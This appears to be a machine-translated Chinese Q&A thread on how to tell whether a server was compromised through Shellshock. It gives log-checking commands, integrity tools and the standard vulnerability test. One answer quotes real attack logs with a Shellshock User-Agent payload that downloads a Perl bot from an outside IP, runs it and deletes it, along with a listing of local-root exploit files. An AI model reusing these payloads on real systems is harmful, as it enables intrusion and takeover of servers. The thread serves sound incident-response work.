Answers:
我如何知道我的服务器是否由于Shellshock错误而受到威胁?
你不知道 这就是安全漏洞的想法。如果您必须单击让饼干进来?好的/取消这不是一个很大的漏洞。
您可能会有些运气,无法检查攻击向量的日志,但是鉴于有这么多服务容易受到攻击,而且并非所有服务都记录每一次访问,因此不可能最终找到攻击。
如果它遭到破坏,是否有一个特定的文件夹我应该在其中查找恶意文件?
不,恶意文件可能在任何地方。
常见的rootkit安装自己/root
或/
或/tmp
或二进制路径之一,但实际上他们可能在任何地方。它们可能具有类似于真实服务的名称,或类似于“ IPTables
”或“ kernel-bin
”的“重要” 名称,但它们也可能是随机的字符串或与真正的二进制名称相同的名称(只是在不同的路径中)。您可以通过看到非常明显的rootkit加载/etc/rc.local
或建立连接netstat -neopa
。在中查找可疑的进程名称top -c
。
一个不太常见且更难找到的rootkit替换了一个库或将自身加载为shim库并拦截了系统调用。除非您strace / ltrace系统上运行的每件东西并将其行为与已知良好系统或源代码的预期行为进行比较,否则几乎不可能找到它。
仅重新加载系统将更快,更轻松且更具决定性。
恶意文件的外观如何?
可能像其他任何常规ELF二进制文件或库一样。它也可能是脚本。
总之,如果您认为您的系统很可能已受到威胁,则应将其视为已受到威胁的系统,并采取必要的措施。
bash
安装了所有可能的系统并插入了网络电缆,对吗?
shellshock不是蠕虫,因此没有文件可查找。Shellshock是一种攻击网络以获得进入的方法。一旦进入内部,谁就会知道攻击者将做什么。
is there a particular folder where I should look for malicious files
。
我会回应suprjami的回答,并说,如果您的系统易受攻击,则应将其视为已受到威胁。
如果您正在运行apache,则可以使用以下命令检查Shellshock入侵尝试的日志:
[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"
此命令从Apache的访问日志中提取所有包含“ cgi”的行(默认情况下称为access_log,access_log.1,access_log.2等),然后使用正则表达式将其通过管道传递到egrep中。
(来源:http : //linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash)
由于Shellshock有多种攻击媒介,其中一些对于大众而言还是未知的,或者是由自定义CGI脚本引起的,因此没有确定的方法来判断您是否受到攻击。
除了通常的“让我们看看是否某些系统文件已更改或最近发生了其他可疑事件”之外,您可能还需要密切注意服务器的行为。
netstat
显示奇怪的网络连接或ps aux
显示您不认识的进程?如果您具有适当的服务器运行状况监视程序(例如Zabbix
)并正在运行,它也可以帮助您发现安全漏洞。您还可以将系统文件的MD5 / SHA总和与已知的良好备份进行比较。
基本上只是充当您的服务器遭到入侵并调查您能想到的一切。
我只是很高兴清理一个受损的旧Plesk系统。放弃它的第一件事是许多进程开始监听多个端口,而其他进程则试图从原始扫描服务器下载代码。
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
根据日志,我发现最终的漏洞是cgi_wrapper
脚本,应该保护和屏蔽系统的东西实际上是在保护中造成漏洞。以下是一些来自探测和成功攻击的日志行:
这些是access_log中的行,因为这只是一个示例,请注意其中两行的200,而其他行的404失败。您不必担心具有404的行,因为这些行不会成功,有200个的人做到了。这些攻击的模式总是相同的:1.使用shellshock漏洞找到易受攻击的cgi脚本,以下载并执行perl脚本,然后再次删除perl脚本。Perl脚本实际上将下载一些源文件(tgz)进行编译并运行它们,据我所知,它们至少包括后门和自动更新机制,以及试图获取更高执行特权的漏洞。实际上,所有初始脚本都是由包装程序提供的用户执行的,而以后的服务以PPID为1(从根进程开始)启动。
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
这是对应的error_log行:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
下载到/ tmp的文件可能有人猜到,我没有bot.pl文件,因为它立即被删除了。
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
一段时间后,我发现来自中国等不同地方的ssh连接通常不会访问我们的服务器。我修补了bash作为紧急措施(很高兴能从FSF网站上获得修补源,而不仅仅是真正的OLD源和修补文件(其中一开始并没有正确应用)。立即清除,因此如果有人在寻找有关此攻击的其他信息,您可以提出要求,但请尽快进行。
这个答案与Shellshock并不特别相关,但是对于您可能认为已受损的任何系统
第二个注意事项:您不能确定已从受到威胁的根系统中恢复。您唯一的行动是销毁并重新配置系统
尝试获取干净的静态版本rpm
并运行command rpm --verify --all
。它将告诉您属于软件包的哪些文件已被修改。但是,由于您可能在受感染的系统上运行它,因此您可能不会完全相信结果。然后,您可以简单地执行a rpm -qa
来获取软件包列表,使用相同的软件包版本重新创建另一个系统,然后find / -type f |xargs -r -n 100 md5sum |sort
在两个系统上都创建一个,看看有什么不同。另外,如果您正确地管理系统(意味着不在/ opt或/ usr / local / bin或其他不受管理的位置之外手动安装任何东西),则可以使用来搜索系统中不属于软件包的所有文件find / -type f -exec rpm -qf {} \;
。它应该显示未知文件的错误。我让你不要表现出积极的态度;-)
要使用加密证明定期进行相同的操作,有一个工具Tripwire
可以称为免费版本,仍然可以找到。它是旧的,但能完成工作。较新的替代方法是AIDE
,但几年前我没有使用加密技术。
有一些工具可以提供帮助。例如,寻找package rkhunter
。它将扫描您的计算机以查找已知的根工具包和被利用的文件。
显然,在系统受到威胁之前,应该已经安装和配置了这些工具,并且如果您的系统成功被黑客入侵了root用户访问权限,那么也可以将这些工具作为目标。此外,这些工具可能非常密集,并且会降低系统速度。
如何查找您的Linux机器是否受到威胁。
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果返回
vulnerable
this is a test
你是。
要运行更新,请在根目录下运行以下命令
sudo yum update bash
yum
而不是其他程序包管理器。
您可以通过运行以下命令(CSA提供的代码)来检查自己是否容易受到攻击。打开一个终端窗口,并在$提示符下输入以下命令:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果您的bash不是最新的,它将打印:
vulnerable
this is a test
如果您的bash是最新的,则只会看到:
this is a test
该链接后面提供了更多详细信息。